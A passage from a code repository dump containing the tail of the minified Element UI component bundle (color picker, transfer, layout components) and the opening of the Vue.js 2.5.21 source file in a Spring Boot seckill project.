t=this.$el.getBoundingClientRect(),i=this.$refs.thumb,n=void 0;if(this.vertical){var s=e.clientY-t.top;s=Math.min(s,t.height-i.offsetHeight/2),s=Math.max(i.offsetHeight/2,s),n=Math.round((s-i.offsetHeight/2)/(t.height-i.offsetHeight)*360)}else{var r=e.clientX-t.left;r=Math.min(r,t.width-i.offsetWidth/2),r=Math.max(i.offsetWidth/2,r),n=Math.round((r-i.offsetWidth/2)/(t.width-i.offsetWidth)*360)}this.color.set(\"hue\",n)},getThumbLeft:function(){if(this.vertical)return 0;var e=this.$el,t=this.color.get(\"hue\");if(!e)return 0;var i=this.$refs.thumb;return Math.round(t*(e.offsetWidth-i.offsetWidth/2)/360)},getThumbTop:function(){if(!this.vertical)return 0;var e=this.$el,t=this.color.get(\"hue\");if(!e)return 0;var i=this.$refs.thumb;return Math.round(t*(e.offsetHeight-i.offsetHeight/2)/360)},update:function(){this.thumbLeft=this.getThumbLeft(),this.thumbTop=this.getThumbTop()}},mounted:function(){var e=this,t=this.$refs,i=t.bar,n=t.thumb,r={drag:function(t){e.handleDrag(t)},end:function(t){e.handleDrag(t)}};(0,s.default)(i,r),(0,s.default)(n,r),this.update()}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"div\",{staticClass:\"el-color-hue-slider\",class:{\"is-vertical\":e.vertical}},[i(\"div\",{ref:\"bar\",staticClass:\"el-color-hue-slider__bar\",on:{click:e.handleClick}}),i(\"div\",{ref:\"thumb\",staticClass:\"el-color-hue-slider__thumb\",style:{left:e.thumbLeft+\"px\",top:e.thumbTop+\"px\"}})])},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(468),s=i.n(n),r=i(469),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(65),s=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default={name:\"el-color-alpha-slider\",props:{color:{required:!0},vertical:Boolean},watch:{\"color._alpha\":function(){this.update()},\"color.value\":function(){this.update()}},methods:{handleClick:function(e){var t=this.$refs.thumb;e.target!==t&&this.handleDrag(e)},handleDrag:function(e){var t=this.$el.getBoundingClientRect(),i=this.$refs.thumb;if(this.vertical){var n=e.clientY-t.top;n=Math.max(i.offsetHeight/2,n),n=Math.min(n,t.height-i.offsetHeight/2),this.color.set(\"alpha\",Math.round((n-i.offsetHeight/2)/(t.height-i.offsetHeight)*100))}else{var s=e.clientX-t.left;s=Math.max(i.offsetWidth/2,s),s=Math.min(s,t.width-i.offsetWidth/2),this.color.set(\"alpha\",Math.round((s-i.offsetWidth/2)/(t.width-i.offsetWidth)*100))}},getThumbLeft:function(){if(this.vertical)return 0;var e=this.$el,t=this.color._alpha;if(!e)return 0;var i=this.$refs.thumb;return Math.round(t*(e.offsetWidth-i.offsetWidth/2)/100)},getThumbTop:function(){if(!this.vertical)return 0;var e=this.$el,t=this.color._alpha;if(!e)return 0;var i=this.$refs.thumb;return Math.round(t*(e.offsetHeight-i.offsetHeight/2)/100)},getBackground:function(){if(this.color&&this.color.value){var e=this.color.toRgb(),t=e.r,i=e.g,n=e.b;return\"linear-gradient(to right, rgba(\"+t+\", \"+i+\", \"+n+\", 0) 0%, rgba(\"+t+\", \"+i+\", \"+n+\", 1) 100%)\"}return null},update:function(){this.thumbLeft=this.getThumbLeft(),this.thumbTop=this.getThumbTop(),this.background=this.getBackground()}},data:function(){return{thumbLeft:0,thumbTop:0,background:null}},mounted:function(){var e=this,t=this.$refs,i=t.bar,n=t.thumb,r={drag:function(t){e.handleDrag(t)},end:function(t){e.handleDrag(t)}};(0,s.default)(i,r),(0,s.default)(n,r),this.update()}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"div\",{staticClass:\"el-color-alpha-slider\",class:{\"is-vertical\":e.vertical}},[i(\"div\",{ref:\"bar\",staticClass:\"el-color-alpha-slider__bar\",style:{background:e.background},on:{click:e.handleClick}}),i(\"div\",{ref:\"thumb\",staticClass:\"el-color-alpha-slider__thumb\",style:{left:e.thumbLeft+\"px\",top:e.thumbTop+\"px\"}})])},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(471),s=i.n(n),r=i(472),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(92),s=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default={props:{colors:{type:Array,required:!0},color:{required:!0}},data:function(){return{rgbaColors:this.parseColors(this.colors,this.color)}},methods:{handleSelect:function(e){this.color.fromString(this.colors[e])},parseColors:function(e,t){return e.map(function(e){var i=new s.default;return i.enableAlpha=!0,i.format=\"rgba\",i.fromString(e),i.selected=i.value===t.value,i})}},watch:{\"$parent.currentColor\":function(e){var t=new s.default;t.fromString(e),this.rgbaColors.forEach(function(e){e.selected=t.compare(e)})},colors:function(e){this.rgbaColors=this.parseColors(e,this.color)},color:function(e){this.rgbaColors=this.parseColors(this.colors,e)}}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"div\",{staticClass:\"el-color-predefine\"},[i(\"div\",{staticClass:\"el-color-predefine__colors\"},e._l(e.rgbaColors,function(t,n){return i(\"div\",{key:e.colors[n],staticClass:\"el-color-predefine__color-selector\",class:{selected:t.selected,\"is-alpha\":t._alpha<100},on:{click:function(t){e.handleSelect(n)}}},[i(\"div\",{style:{\"background-color\":t.value}})])}))])},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"transition\",{attrs:{name:\"el-zoom-in-top\"},on:{\"after-leave\":e.doDestroy}},[i(\"div\",{directives:[{name:\"show\",rawName:\"v-show\",value:e.showPopper,expression:\"showPopper\"}],staticClass:\"el-color-dropdown\"},[i(\"div\",{staticClass:\"el-color-dropdown__main-wrapper\"},[i(\"hue-slider\",{ref:\"hue\",staticStyle:{float:\"right\"},attrs:{color:e.color,vertical:\"\"}}),i(\"sv-panel\",{ref:\"sl\",attrs:{color:e.color}})],1),e.showAlpha?i(\"alpha-slider\",{ref:\"alpha\",attrs:{color:e.color}}):e._e(),e.predefine?i(\"predefine\",{attrs:{color:e.color,colors:e.predefine}}):e._e(),i(\"div\",{staticClass:\"el-color-dropdown__btns\"},[i(\"span\",{staticClass:\"el-color-dropdown__value\"},[i(\"el-input\",{attrs:{\"validate-event\":!1,size:\"mini\"},on:{blur:e.handleConfirm},nativeOn:{keyup:function(t){if(!(\"button\"in t)&&e._k(t.keyCode,\"enter\",13,t.key))return null;e.handleConfirm(t)}},model:{value:e.customInput,callback:function(t){e.customInput=t},expression:\"customInput\"}})],1),i(\"el-button\",{staticClass:\"el-color-dropdown__link-btn\",attrs:{size:\"mini\",type:\"text\"},on:{click:function(t){e.$emit(\"clear\")}}},[e._v(\"\\n        \"+e._s(e.t(\"el.colorpicker.clear\"))+\"\\n      \")]),i(\"el-button\",{staticClass:\"el-color-dropdown__btn\",attrs:{plain:\"\",size:\"mini\"},on:{click:e.confirmValue}},[e._v(\"\\n        \"+e._s(e.t(\"el.colorpicker.confirm\"))+\"\\n      \")])],1)],1)])},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"div\",{directives:[{name:\"clickoutside\",rawName:\"v-clickoutside\",value:e.hide,expression:\"hide\"}],class:[\"el-color-picker\",e.colorDisabled?\"is-disabled\":\"\",e.colorSize?\"el-color-picker--\"+e.colorSize:\"\"]},[e.colorDisabled?i(\"div\",{staticClass:\"el-color-picker__mask\"}):e._e(),i(\"div\",{staticClass:\"el-color-picker__trigger\",on:{click:e.handleTrigger}},[i(\"span\",{staticClass:\"el-color-picker__color\",class:{\"is-alpha\":e.showAlpha}},[i(\"span\",{staticClass:\"el-color-picker__color-inner\",style:{backgroundColor:e.displayedColor}}),e.value||e.showPanelColor?e._e():i(\"span\",{staticClass:\"el-color-picker__empty el-icon-close\"})]),i(\"span\",{directives:[{name:\"show\",rawName:\"v-show\",value:e.value||e.showPanelColor,expression:\"value || showPanelColor\"}],staticClass:\"el-color-picker__icon el-icon-arrow-down\"})]),i(\"picker-dropdown\",{ref:\"dropdown\",class:[\"el-color-picker__panel\",e.popperClass||\"\"],attrs:{color:e.color,\"show-alpha\":e.showAlpha,predefine:e.predefine},on:{pick:e.confirmValue,clear:e.clearValue},model:{value:e.showPicker,callback:function(t){e.showPicker=t},expression:\"showPicker\"}})],1)},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(476),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(477),s=i.n(n),r=i(481),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(19),r=n(s),o=i(1),a=n(o),l=i(6),u=n(l),c=i(478),d=n(c),h=i(9),f=n(h);t.default={name:\"ElTransfer\",mixins:[a.default,u.default,f.default],components:{TransferPanel:d.default,ElButton:r.default},props:{data:{type:Array,default:function(){return[]}},titles:{type:Array,default:function(){return[]}},buttonTexts:{type:Array,default:function(){return[]}},filterPlaceholder:{type:String,default:\"\"},filterMethod:Function,leftDefaultChecked:{type:Array,default:function(){return[]}},rightDefaultChecked:{type:Array,default:function(){return[]}},renderContent:Function,value:{type:Array,default:function(){return[]}},format:{type:Object,default:function(){return{}}},filterable:Boolean,props:{type:Object,default:function(){return{label:\"label\",key:\"key\",disabled:\"disabled\"}}},targetOrder:{type:String,default:\"original\"}},data:function(){return{leftChecked:[],rightChecked:[]}},computed:{dataObj:function(){var e=this.props.key;return this.data.reduce(function(t,i){return(t[i[e]]=i)&&t},{})},sourceData:function(){var e=this;return this.data.filter(function(t){return-1===e.value.indexOf(t[e.props.key])})},targetData:function(){var e=this;return\"original\"===this.targetOrder?this.data.filter(function(t){return e.value.indexOf(t[e.props.key])>-1}):this.value.reduce(function(t,i){var n=e.dataObj[i];return n&&t.push(n),t},[])},hasButtonTexts:function(){return 2===this.buttonTexts.length}},watch:{value:function(e){this.dispatch(\"ElFormItem\",\"el.form.change\",e)}},methods:{getMigratingConfig:function(){return{props:{\"footer-format\":\"footer-format is renamed to format.\"}}},onSourceCheckedChange:function(e,t){this.leftChecked=e,void 0!==t&&this.$emit(\"left-check-change\",e,t)},onTargetCheckedChange:function(e,t){this.rightChecked=e,void 0!==t&&this.$emit(\"right-check-change\",e,t)},addToLeft:function(){var e=this.value.slice();this.rightChecked.forEach(function(t){var i=e.indexOf(t);i>-1&&e.splice(i,1)}),this.$emit(\"input\",e),this.$emit(\"change\",e,\"left\",this.rightChecked)},addToRight:function(){var e=this,t=this.value.slice(),i=[],n=this.props.key;this.data.forEach(function(t){var s=t[n];e.leftChecked.indexOf(s)>-1&&-1===e.value.indexOf(s)&&i.push(s)}),t=\"unshift\"===this.targetOrder?i.concat(t):t.concat(i),this.$emit(\"input\",t),this.$emit(\"change\",t,\"right\",this.leftChecked)},clearQuery:function(e){\"left\"===e?this.$refs.leftPanel.query=\"\":\"right\"===e&&(this.$refs.rightPanel.query=\"\")}}}},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(479),s=i.n(n),r=i(480),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(47),r=n(s),o=i(15),a=n(o),l=i(8),u=n(l),c=i(6),d=n(c);t.default={mixins:[d.default],name:\"ElTransferPanel\",componentName:\"ElTransferPanel\",components:{ElCheckboxGroup:r.default,ElCheckbox:a.default,ElInput:u.default,OptionContent:{props:{option:Object},render:function(e){var t=function e(t){return\"ElTransferPanel\"===t.$options.componentName?t:t.$parent?e(t.$parent):t}(this),i=t.$parent||t;return t.renderContent?t.renderContent(e,this.option):i.$scopedSlots.default?i.$scopedSlots.default({option:this.option}):e(\"span\",null,[this.option[t.labelProp]||this.option[t.keyProp]])}}},props:{data:{type:Array,default:function(){return[]}},renderContent:Function,placeholder:String,title:String,filterable:Boolean,format:Object,filterMethod:Function,defaultChecked:Array,props:Object},data:function(){return{checked:[],allChecked:!1,query:\"\",inputHover:!1,checkChangeByUser:!0}},watch:{checked:function(e,t){if(this.updateAllChecked(),this.checkChangeByUser){var i=e.concat(t).filter(function(i){return-1===e.indexOf(i)||-1===t.indexOf(i)});this.$emit(\"checked-change\",e,i)}else this.$emit(\"checked-change\",e),this.checkChangeByUser=!0},data:function(){var e=this,t=[],i=this.filteredData.map(function(t){return t[e.keyProp]});this.checked.forEach(function(e){i.indexOf(e)>-1&&t.push(e)}),this.checkChangeByUser=!1,this.checked=t},checkableData:function(){this.updateAllChecked()},defaultChecked:{immediate:!0,handler:function(e,t){var i=this;if(!t||e.length!==t.length||!e.every(function(e){return t.indexOf(e)>-1})){var n=[],s=this.checkableData.map(function(e){return e[i.keyProp]});e.forEach(function(e){s.indexOf(e)>-1&&n.push(e)}),this.checkChangeByUser=!1,this.checked=n}}}},computed:{filteredData:function(){var e=this;return this.data.filter(function(t){return\"function\"==typeof e.filterMethod?e.filterMethod(e.query,t):(t[e.labelProp]||t[e.keyProp].toString()).toLowerCase().indexOf(e.query.toLowerCase())>-1})},checkableData:function(){var e=this;return this.filteredData.filter(function(t){return!t[e.disabledProp]})},checkedSummary:function(){var e=this.checked.length,t=this.data.length,i=this.format,n=i.noChecked,s=i.hasChecked;return n&&s?e>0?s.replace(/\\${checked}/g,e).replace(/\\${total}/g,t):n.replace(/\\${total}/g,t):e+\"/\"+t},isIndeterminate:function(){var e=this.checked.length;return e>0&&e<this.checkableData.length},hasNoMatch:function(){return this.query.length>0&&0===this.filteredData.length},inputIcon:function(){return this.query.length>0&&this.inputHover?\"circle-close\":\"search\"},labelProp:function(){return this.props.label||\"label\"},keyProp:function(){return this.props.key||\"key\"},disabledProp:function(){return this.props.disabled||\"disabled\"},hasFooter:function(){return!!this.$slots.default}},methods:{updateAllChecked:function(){var e=this,t=this.checkableData.map(function(t){return t[e.keyProp]});this.allChecked=t.length>0&&t.every(function(t){return e.checked.indexOf(t)>-1})},handleAllCheckedChange:function(e){var t=this;this.checked=e?this.checkableData.map(function(e){return e[t.keyProp]}):[]},clearQuery:function(){\"circle-close\"===this.inputIcon&&(this.query=\"\")}}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"div\",{staticClass:\"el-transfer-panel\"},[i(\"p\",{staticClass:\"el-transfer-panel__header\"},[i(\"el-checkbox\",{attrs:{indeterminate:e.isIndeterminate},on:{change:e.handleAllCheckedChange},model:{value:e.allChecked,callback:function(t){e.allChecked=t},expression:\"allChecked\"}},[e._v(\"\\n      \"+e._s(e.title)+\"\\n      \"),i(\"span\",[e._v(e._s(e.checkedSummary))])])],1),i(\"div\",{class:[\"el-transfer-panel__body\",e.hasFooter?\"is-with-footer\":\"\"]},[e.filterable?i(\"el-input\",{staticClass:\"el-transfer-panel__filter\",attrs:{size:\"small\",placeholder:e.placeholder},nativeOn:{mouseenter:function(t){e.inputHover=!0},mouseleave:function(t){e.inputHover=!1}},model:{value:e.query,callback:function(t){e.query=t},expression:\"query\"}},[i(\"i\",{class:[\"el-input__icon\",\"el-icon-\"+e.inputIcon],attrs:{slot:\"prefix\"},on:{click:e.clearQuery},slot:\"prefix\"})]):e._e(),i(\"el-checkbox-group\",{directives:[{name:\"show\",rawName:\"v-show\",value:!e.hasNoMatch&&e.data.length>0,expression:\"!hasNoMatch && data.length > 0\"}],staticClass:\"el-transfer-panel__list\",class:{\"is-filterable\":e.filterable},model:{value:e.checked,callback:function(t){e.checked=t},expression:\"checked\"}},e._l(e.filteredData,function(t){return i(\"el-checkbox\",{key:t[e.keyProp],staticClass:\"el-transfer-panel__item\",attrs:{label:t[e.keyProp],disabled:t[e.disabledProp]}},[i(\"option-content\",{attrs:{option:t}})],1)})),i(\"p\",{directives:[{name:\"show\",rawName:\"v-show\",value:e.hasNoMatch,expression:\"hasNoMatch\"}],staticClass:\"el-transfer-panel__empty\"},[e._v(e._s(e.t(\"el.transfer.noMatch\")))]),i(\"p\",{directives:[{name:\"show\",rawName:\"v-show\",value:0===e.data.length&&!e.hasNoMatch,expression:\"data.length === 0 && !hasNoMatch\"}],staticClass:\"el-transfer-panel__empty\"},[e._v(e._s(e.t(\"el.transfer.noData\")))])],1),e.hasFooter?i(\"p\",{staticClass:\"el-transfer-panel__footer\"},[e._t(\"default\")],2):e._e()])},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"div\",{staticClass:\"el-transfer\"},[i(\"transfer-panel\",e._b({ref:\"leftPanel\",attrs:{data:e.sourceData,title:e.titles[0]||e.t(\"el.transfer.titles.0\"),\"default-checked\":e.leftDefaultChecked,placeholder:e.filterPlaceholder||e.t(\"el.transfer.filterPlaceholder\")},on:{\"checked-change\":e.onSourceCheckedChange}},\"transfer-panel\",e.$props,!1),[e._t(\"left-footer\")],2),i(\"div\",{staticClass:\"el-transfer__buttons\"},[i(\"el-button\",{class:[\"el-transfer__button\",e.hasButtonTexts?\"is-with-texts\":\"\"],attrs:{type:\"primary\",disabled:0===e.rightChecked.length},nativeOn:{click:function(t){e.addToLeft(t)}}},[i(\"i\",{staticClass:\"el-icon-arrow-left\"}),void 0!==e.buttonTexts[0]?i(\"span\",[e._v(e._s(e.buttonTexts[0]))]):e._e()]),i(\"el-button\",{class:[\"el-transfer__button\",e.hasButtonTexts?\"is-with-texts\":\"\"],attrs:{type:\"primary\",disabled:0===e.leftChecked.length},nativeOn:{click:function(t){e.addToRight(t)}}},[void 0!==e.buttonTexts[1]?i(\"span\",[e._v(e._s(e.buttonTexts[1]))]):e._e(),i(\"i\",{staticClass:\"el-icon-arrow-right\"})])],1),i(\"transfer-panel\",e._b({ref:\"rightPanel\",attrs:{data:e.targetData,title:e.titles[1]||e.t(\"el.transfer.titles.1\"),\"default-checked\":e.rightDefaultChecked,placeholder:e.filterPlaceholder||e.t(\"el.transfer.filterPlaceholder\")},on:{\"checked-change\":e.onTargetCheckedChange}},\"transfer-panel\",e.$props,!1),[e._t(\"right-footer\")],2)],1)},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(483),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(484),s=i.n(n),r=i(485),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0,t.default={name:\"ElContainer\",componentName:\"ElContainer\",props:{direction:String},computed:{isVertical:function(){return\"vertical\"===this.direction||\"horizontal\"!==this.direction&&(!(!this.$slots||!this.$slots.default)&&this.$slots.default.some(function(e){var t=e.componentOptions&&e.componentOptions.tag;return\"el-header\"===t||\"el-footer\"===t}))}}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement;return(e._self._c||t)(\"section\",{staticClass:\"el-container\",class:{\"is-vertical\":e.isVertical}},[e._t(\"default\")],2)},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(487),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(488),s=i.n(n),r=i(489),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0,t.default={name:\"ElHeader\",componentName:\"ElHeader\",props:{height:{type:String,default:\"60px\"}}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement;return(e._self._c||t)(\"header\",{staticClass:\"el-header\",style:{height:e.height}},[e._t(\"default\")],2)},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(491),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(492),s=i.n(n),r=i(493),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0,t.default={name:\"ElAside\",componentName:\"ElAside\",props:{width:{type:String,default:\"300px\"}}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement;return(e._self._c||t)(\"aside\",{staticClass:\"el-aside\",style:{width:e.width}},[e._t(\"default\")],2)},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(495),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(496),s=i.n(n),r=i(497),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0,t.default={name:\"ElMain\",componentName:\"ElMain\"}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement;return(e._self._c||t)(\"main\",{staticClass:\"el-main\"},[e._t(\"default\")],2)},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(499),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(500),s=i.n(n),r=i(501),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0,t.default={name:\"ElFooter\",componentName:\"ElFooter\",props:{height:{type:String,default:\"60px\"}}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement;return(e._self._c||t)(\"footer\",{staticClass:\"el-footer\",style:{height:e.height}},[e._t(\"default\")],2)},s=[],r={render:n,staticRenderFns:s};t.a=r}])});"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/webapp/js/vue.js",
    "content": "/*!\n * Vue.js v2.5.21\n * (c) 2014-2018 Evan You\n * Released under the MIT License.\n */\n(function (global, factory) {\n  typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :\n  typeof define === 'function' && define.amd ? define(factory) :\n  (global.Vue = factory());\n}(this, (function () { 'use strict';\n\n  /*  */\n\n  var emptyObject = Object.freeze({});\n\n  // These helpers produce better VM code in JS engines due to their\n  // explicitness and function inlining.\n  function isUndef (v) {\n    return v === undefined || v === null\n  }\n\n  function isDef (v) {\n    return v !== undefined && v !== null\n  }\n\n  function isTrue (v) {\n    return v === true\n  }\n\n  function isFalse (v) {\n    return v === false\n  }\n\n  /**\n   * Check if value is primitive.\n   */\n  function isPrimitive (value) {\n    return (\n      typeof value === 'string' ||\n      typeof value === 'number' ||\n      // $flow-disable-line\n      typeof value === 'symbol' ||\n      typeof value === 'boolean'\n    )\n  }\n\n  /**\n   * Quick object check - this is primarily used to tell\n   * Objects from primitive values when we know the value\n   * is a JSON-compliant type.\n   */\n  function isObject (obj) {\n    return obj !== null && typeof obj === 'object'\n  }\n\n  /**\n   * Get the raw type string of a value, e.g., [object Object].\n   */\n  var _toString = Object.prototype.toString;\n\n  function toRawType (value) {\n    return _toString.call(value).slice(8, -1)\n  }\n\n  /**\n   * Strict object type check. Only returns true\n   * for plain JavaScript objects.\n   */\n  function isPlainObject (obj) {\n    return _toString.call(obj) === '[object Object]'\n  }\n\n  function isRegExp (v) {\n    return _toString.call(v) === '[object RegExp]'\n  }\n\n  /**\n   * Check if val is a valid array index.\n   */\n  function isValidArrayIndex (val) {\n    var n = parseFloat(String(val));\n    return n >= 0 && Math.floor(n) === n && isFinite(val)\n  }\n\n  /**\n   * Convert a value to a string that is actually rendered.\n   */\n  function toString (val) {\n    return val == null\n      ? ''\n      : typeof val === 'object'\n        ? JSON.stringify(val, null, 2)\n        : String(val)\n  }\n\n  /**\n   * Convert an input value to a number for persistence.\n   * If the conversion fails, return original string.\n   */\n  function toNumber (val) {\n    var n = parseFloat(val);\n    return isNaN(n) ? val : n\n  }\n\n  /**\n   * Make a map and return a function for checking if a key\n   * is in that map.\n   */\n  function makeMap (\n    str,\n    expectsLowerCase\n  ) {\n    var map = Object.create(null);\n    var list = str.split(',');\n    for (var i = 0; i < list.length; i++) {\n      map[list[i]] = true;\n    }\n    return expectsLowerCase\n      ? function (val) { return map[val.toLowerCase()]; }\n      : function (val) { return map[val]; }\n  }\n\n  /**\n   * Check if a tag is a built-in tag.\n   */\n  var isBuiltInTag = makeMap('slot,component', true);\n\n  /**\n   * Check if an attribute is a reserved attribute.\n   */\n  var isReservedAttribute = makeMap('key,ref,slot,slot-scope,is');\n\n  /**\n   * Remove an item from an array.\n   */\n  function remove (arr, item) {\n    if (arr.length) {\n      var index = arr.indexOf(item);\n      if (index > -1) {\n        return arr.splice(index, 1)\n      }\n    }\n  }\n\n  /**\n   * Check whether an object has the property.\n   */\n  var hasOwnProperty = Object.prototype.hasOwnProperty;\n  function hasOwn (obj, key) {\n    return hasOwnProperty.call(obj, key)\n  }\n\n  /**\n   * Create a cached version of a pure function.\n   */\n  function cached (fn) {\n    var cache = Object.create(null);\n    return (function cachedFn (str) {\n      var hit = cache[str];\n      return hit || (cache[str] = fn(str))\n    })\n  }\n\n  /**\n   * Camelize a hyphen-delimited string.\n   */\n  var camelizeRE = /-(\\w)/g;\n  var camelize = cached(function (str) {\n    return str.replace(camelizeRE, function (_, c) { return c ? c.toUpperCase() : ''; })\n  });\n\n  /**\n   * Capitalize a string.\n   */\n  var capitalize = cached(function (str) {\n    return str.charAt(0).toUpperCase() + str.slice(1)\n  });\n\n  /**\n   * Hyphenate a camelCase string.\n   */\n  var hyphenateRE = /\\B([A-Z])/g;\n  var hyphenate = cached(function (str) {\n    return str.replace(hyphenateRE, '-$1').toLowerCase()\n  });\n\n  /**\n   * Simple bind polyfill for environments that do not support it,\n   * e.g., PhantomJS 1.x. Technically, we don't need this anymore\n   * since native bind is now performant enough in most browsers.\n   * But removing it would mean breaking code that was able to run in\n   * PhantomJS 1.x, so this must be kept for backward compatibility.\n   */\n\n  /* istanbul ignore next */\n  function polyfillBind (fn, ctx) {\n    function boundFn (a) {\n      var l = arguments.length;\n      return l\n        ? l > 1\n          ? fn.apply(ctx, arguments)\n          : fn.call(ctx, a)\n        : fn.call(ctx)\n    }\n\n    boundFn._length = fn.length;\n    return boundFn\n  }\n\n  function nativeBind (fn, ctx) {\n    return fn.bind(ctx)\n  }\n\n  var bind = Function.prototype.bind\n    ? nativeBind\n    : polyfillBind;\n\n  /**\n   * Convert an Array-like object to a real Array.\n   */\n  function toArray (list, start) {\n    start = start || 0;\n    var i = list.length - start;\n    var ret = new Array(i);\n    while (i--) {\n      ret[i] = list[i + start];\n    }\n    return ret\n  }\n\n  /**\n   * Mix properties into target object.\n   */\n  function extend (to, _from) {\n    for (var key in _from) {\n      to[key] = _from[key];\n    }\n    return to\n  }\n\n  /**\n   * Merge an Array of Objects into a single Object.\n   */\n  function toObject (arr) {\n    var res = {};\n    for (var i = 0; i < arr.length; i++) {\n      if (arr[i]) {\n        extend(res, arr[i]);\n      }\n    }\n    return res\n  }\n\n  /* eslint-disable no-unused-vars */\n\n  /**\n   * Perform no operation.\n   * Stubbing args to make Flow happy without leaving useless transpiled code\n   * with ...rest (https://flow.org/blog/2017/05/07/Strict-Function-Call-Arity/).\n   */\n  function noop (a, b, c) {}\n\n  /**\n   * Always return false.\n   */\n  var no = function (a, b, c) { return false; };\n\n  /* eslint-enable no-unused-vars */\n\n  /**\n   * Return the same value.\n   */\n  var identity = function (_) { return _; };\n\n  /**\n   * Generate a string containing static keys from compiler modules.\n   */\n  function genStaticKeys (modules) {\n    return modules.reduce(function (keys, m) {\n      return keys.concat(m.staticKeys || [])\n    }, []).join(',')\n  }\n\n  /**\n   * Check if two values are loosely equal - that is,\n   * if they are plain objects, do they have the same shape?\n   */\n  function looseEqual (a, b) {\n    if (a === b) { return true }\n    var isObjectA = isObject(a);\n    var isObjectB = isObject(b);\n    if (isObjectA && isObjectB) {\n      try {\n        var isArrayA = Array.isArray(a);\n        var isArrayB = Array.isArray(b);\n        if (isArrayA && isArrayB) {\n          return a.length === b.length && a.every(function (e, i) {\n            return looseEqual(e, b[i])\n          })\n        } else if (a instanceof Date && b instanceof Date) {\n          return a.getTime() === b.getTime()\n        } else if (!isArrayA && !isArrayB) {\n          var keysA = Object.keys(a);\n          var keysB = Object.keys(b);\n          return keysA.length === keysB.length && keysA.every(function (key) {\n            return looseEqual(a[key], b[key])\n          })\n        } else {\n          /* istanbul ignore next */\n          return false\n        }\n      } catch (e) {\n        /* istanbul ignore next */\n        return false\n      }\n    } else if (!isObjectA && !isObjectB) {\n      return String(a) === String(b)\n    } else {\n      return false\n    }\n  }\n\n  /**\n   * Return the 